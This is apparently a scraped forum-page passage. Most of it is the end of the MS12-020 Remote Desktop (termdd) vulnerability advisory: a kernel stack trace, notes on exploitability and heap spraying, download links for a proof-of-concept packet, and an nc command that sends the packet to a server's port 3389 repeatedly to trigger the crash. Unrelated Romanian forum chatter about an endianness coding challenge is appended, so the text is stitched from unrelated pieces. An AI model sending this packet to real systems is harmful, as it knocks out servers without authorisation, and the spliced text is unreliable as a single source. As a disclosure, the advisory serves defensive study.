b8b39c50 808ed4eb nt!IofCallDriver+0x45 b8b39c64 808ee28d nt!NtWriteFile+0x2943 b8b39d00 808e6dbc nt!NtWriteFile+0x36e5 b8b39d34 80883968 nt!NtDeviceIoControlFile+0x2a b8b39d64 7c82847c nt!KeReleaseInStackQueuedSpinLockFromDpcLevel+0xb14 b8b39d68 badb0d00 ntdll!_NLG_Notify+0x14 On Windows 2003 that zone of the memory pointed by ESI+18 using the provided proof-of-concept is ever in the range 040b02??-040b04??. The exploitability depends by the possibility of controlling ESI or the content pointed by it (maybe via a form of heap spraying?), indeed in my quick tests this zone sometimes is allocated and others it isn't. Note that on the post-Vista Windows versions (like 7 and 2008) "seems" necessary to have "Allow connections from computers running any version of Remote Desktop" for being vulnerable. Anyway I'm not totally sure about this so-called limitation because it looks like dependent by my proof-of-concept only. The provided proof-of-concept uses the BER integer values set at 32bit (big endian) in case they could be useful for easier debugging. Additional details about the protocol: http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx ####################################################################### =========== 3) The Code =========== http://aluigi.org/poc/termdd_1.dat http://www.exploit-db.com/sploits/18606.dat nc SERVER 3389 < termdd_1.dat resend it multiple times in case of no results and note that this is just a simple proof-of-concept packet to quickly test the bug so it's not optimized at all. ####################################################################### ====== 4) Fix ====== http://technet.microsoft.com/en-us/security/bulletin/ms12-020 ####################################################################### Luigi Auriemma FTW!

Imi cer scuze, e vina mea, am rezolvat problema.

Scrieti un mic programel C (cateva linii sunt de ajuns) care sa detecteze daca un procesor este little endian sau big endian. Cred ca stiti care e diferenta... Nu e greu deloc, raspunsurile pe PM. Au raspuns pana acum: - Ellimist - BGS - H3xoR - NemesisITSC - Matei